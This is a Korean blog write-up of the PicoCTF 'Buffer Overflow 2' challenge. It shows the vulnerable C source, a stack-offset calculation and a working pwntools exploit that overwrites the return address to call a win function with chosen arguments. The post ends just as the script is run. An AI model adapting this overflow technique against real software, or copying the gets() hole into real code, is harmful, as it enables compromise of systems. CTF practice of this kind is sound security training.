Pwnable/PicoCTF
Buffer Over Flow 2 -Pico CTF-
KSJ._.seven11
2023. 3. 9. 18:59
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
문제의 소스코드는 위와 같다.
실행하면 아래와 같은 화면이 뜬다.
문제에서 알 수 있듯 버퍼오버플로우를 일으키면 되는 문제다.
이후 IDA 를 통해 입력을 받는 vuln 과 플래그를 출력하는 flag 함수를 디컴파일 해봤다.
사진에는 담겨 있지 않지만 a1 = ebp +0x8 a2 = ebp+0xC
이다.
그렇게 스택을 구해보면
.
.
.
===================
v1 ebp-6C
====================
.
.
.
====================
a1 ebp + 0x8
====================
a2 ebp + 0x C
위와 같이 구조화가 될 것이다.
ebp 6C + 0x8. === 0x74 --> 116
으로 더미 값 116 - 4 를 넣으면 a1 값을 변경할 수 있으며
0xC - 0x8 == 0x4 ---> 4 가 되므로
4바이트 더미값을 추가로 넣으면 a2 를 변경할 수 있다.
그렇게 페이로드를 작성하면 될 거 같다.
from pwn import *
p = remote('saturn.picoctf.net', 59133)
e = ELF('./vuln')
context.arch="i386"
offset = 112
flag_addr = p32(0x08049296)
p.recv(100)
payload = b'A' * offset + flag_addr
payload += b'A' * 4
payload += p32(0xcafef00d)
payload += p32(0xf00df00d)
p.sendline(payload)
print(payload)
result = p.recv(10000)
print(result)
p.interactive()
그렇게 실행을 시키면 !!!!